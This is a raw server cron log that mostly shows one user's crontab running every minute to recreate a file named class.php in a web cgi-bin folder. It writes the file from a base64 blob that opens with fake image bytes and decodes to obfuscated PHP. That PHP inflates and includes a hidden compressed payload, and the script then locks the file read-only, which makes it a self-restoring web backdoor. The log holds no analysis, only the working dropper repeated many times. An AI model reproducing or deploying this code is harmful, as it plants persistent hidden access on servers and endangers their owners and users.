Nov 12 19:27:01 server CROND[29996]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 19:28:01 server CROND[30657]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 19:29:01 server CROND[31544]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 19:30:01 server CROND[32551]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 19:30:01 server CROND[32553]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 19:30:01 server CROND[32552]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 19:30:01 server CROND[32561]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 19:31:01 server CROND[1132]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 19:32:01 server CROND[2042]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 19:33:01 server CROND[2916]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 19:34:01 server CROND[3521]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 19:35:01 server CROND[4237]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 19:35:01 server CROND[4239]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 19:35:01 server CROND[4240]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 19:35:01 server CROND[4243]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 19:35:01 server CROND[4246]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 12 19:36:01 server CROND[4983]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 19:37:01 server CROND[5176]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 19:38:01 server CROND[5478]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 19:39:01 server CROND[6361]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 12 19:39:01 server CROND[6363]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 19:40:01 server CROND[7322]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 19:40:01 server CROND[7323]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
